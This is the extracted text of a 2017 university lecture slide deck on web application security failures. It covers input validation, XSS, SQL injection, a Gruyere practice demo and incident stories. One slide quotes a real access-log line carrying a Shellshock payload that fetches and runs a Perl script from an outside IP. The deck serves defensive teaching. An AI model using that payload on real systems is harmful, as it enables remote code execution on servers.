This document discusses common ways that web application security fails and provides examples. It begins with an agenda that covers how to build secure software, examples of real security failures, and a demonstration of security testing. The document then discusses best practices for secure design and implementation, including input validation, as well as examples of real-world attacks like SQL injection, XSS, and logic attacks. It concludes by providing further online resources for topics like the OWASP Top 10 vulnerabilities and security scanning tools.

1. HOW AND WHY
WEB APP
SECURITY FAILS?
16.2. 2017 Tampere University of Technology
Antti.virtanen@solita.fi
Twitter: @Anakondantti

2. FOREWORD, 1 MINUTE
› Solita?
› Me?
› Web application?
• Much more important than you may realize..

3. AGENDA
› How to make secure software?
› … But, everything is broken!
› … Because ...
• Same mistakes are repeated.
• Unthinkable, Unpossible, Impossiblator happens
› Practical web application security testing.
› Bonus: 10. fail 20. goto 10

4. SECURITY IS RISK
MANAGEMENT

5. ”“If you know the enemy and know
yourself, you need not fear the
result of a hundred battles. ”
Sun Tzu, Art of War

6. Source: Hackerman, Kung Fury movie
Source: NSA recruitment video.
Source: securityintelligence.com
Source: Lizard Squad hacking group logo

7. SOLITA #DEVSEC LANDSCAPE

8. GOOD NEWS:
SECURITY IS SIMPLE!
Bad news: Simple != easy

9. RECIPE FOR SECURE SOFTWARE
1. Design it properly. Do the right thing.
2. Do it right
1. Mistake in implementation = bug = security issue
3. Prepare for the unthinkable
(Bug bounties etc. are useful too, but out of scope here.)

10. DO THE RIGHT THING
1. Don’t roll your own.
1. Especially, don’t invent hash algorithms, RND or crypto!
2. Seriously. Failure imminent and certain.
2. Follow best practices.
3. Understand what you are doing.
1. Read the RFC. Understand your tools and libs.

11. SOMETHING UNTHINKABLE
It’s the same story every day..

12. UNTHINKABLE NAMES?

13. UNTHINKABLE DOMAINS AND DNS
RECORDS (PUNY CODE ATTACK)

14. A PICTURE IS WORTH 1000 WORDS
› Demo-time: SVG is a picture file, right?
› Feeling lucky, punk?

15. WHAT THE ACTUAL **** ??

16. INPUT SANITATION
= 80% WIN

17. THE SAME STORY ALL OVER!
› XSS, CSRF, SQL injection, XXE..
• Are all about input validation.
› Solution: white list allowed, deny everythingelse.
› There’s still 20% left
• You can fail session management certainly, but..
• Follow the advice: Don’t invent your own and you’ll be pretty safe.

18. JAVASCRIPT
NECESSARY (?)
EVIL

19. JAVASCRIPT IS FULL OF EVIL
(GREPPING “EVIL” FROM JS SOURCES)

20. The most satisfying feeling you can
get in the job is... The Pwn. Let's say
you find SQL injection. Blood is
rushing into your brain and that's
what we call The Pwn. Your brain
gets a really tight feeling, like your
head is going to explode any minute,.
Arnold“Iceman” Schwarzenegger, movie Pwningiron.

21. DEMO/PRACTICE
AGAINST GRUYERE
http://google-gruyere.appspot.com/

22. LET’S XSS !
› Reflected vs. Stored
› <script> doesn’t work?
• No problem, JS is everywhere..
› Can’t XMLHttpRequest?
• No prob, counter and fake

23. SQL INJECTION
› GRUYERE does not contain SQL injection..
› But .. It’s a good example of an injection
› SQL = Structured Query Language
• However, “query” is a bit of a misnomer..
What is this???

24. INPUT SANITATION,
STILL FAILING

25. LOGIC ATTACKS ARE DIFFICULT
› Real example..

26. REAL WORLD ATTACK

27. FROM A REAL ACCESS LOG
(CUSTOMER IP REDACTED)
› 2015-02-09:2015-02-09 09:17:01,420 INFO xxxx.infra.print-
wrapper: Request 387280 start. host: xxx.xxx.xxx.xxx ,remote-addr:
xx.xxx.xx.xxx ,method: GET ,uri: /cgi-bin/adm.cgi ,query-string:
,user-agent: () { :;}; /bin/bash -c "cd /var/tmp;wget
http://151.236.44.210/efixx;curl -O http://151.236.44.210/efixx;perl
efixx;perl /var/tmp/efixx;perl efixx" ,referer: ,oid:
Google tip:Shellshock

28. WHAT THE ATTACKER WANTED?
efixx– first lines..
core – first lines..

29. DEV OR OPS? OR #DEVSEC ?
› Who is responsible for that server?
› Do you need to care as a developer?
› Ultimately: What is the developer’s responsibility?

30. SOME FAILS 2016-­2017
Stories from the trenches

31. FAIL 1: THE BURDEN OF LEGACY
MD5 & C++ -­ “ELEGANT WEAPONS .. FOR A MORE CIVILIZED AGE”
› Native code is dangerous..
• ASLR & DEP make buffer overflows more difficult to exploit, but it still
happens.
› The lifespan of software can be surprisingly long..
• How to update and re-evaluate working software if nothing happens?
• Home-exercise: Sell this to team & customer. Involves risk and cost.
› New threats have emerged.
• What parts are affected?

32. Screeshot removed..
FAIL 2: SHORTCUTS AND ANARCHY
› Root cause: Heavy process, not understood / accepted by devs
• making developers miserable..
› The devs are innovative people..
http//unauthorized..
V 1.3 coolserver
AwesomeSoftware_Upgrade.exe

33. FAIL 3: “I ACCIDENTALLY”

34. STORY 4: THE WEBHACK EVENT
› http://webhack.fi was a light-weight fun bug bounty hunt..
• The targets are not publicly accessible, but were production systems we
created for our customers.
› Hackers hacked..
› .. SQL injection -> dumped the whole database
› .. But our code was fine! WAT?

35. ONE DOES NOT SIMPLY INJECT
INTO..
› One issue turned out to be a 0-day in Spring libraries..
› Hnggh..
› The moral of the story is two-fold:
1. even if you do everything right, you can still fail
2. it’s not always so easy in real life..
› The gory details: https://github.com/solita/sqli-poc

36. FURTHER MATERIAL
• Fromthe internet:
• OWASP Top10
• https://www.owasp.o
rg/index.php/Categor
y:OWASP_Top_Ten_
Project
• OWASP ZAP proxy
• https://www.owasp.o
rg/index.php/OWAS
P_Zed_Attack_Proxy
_Project
• KaliLinux
• https://www.kali.org
/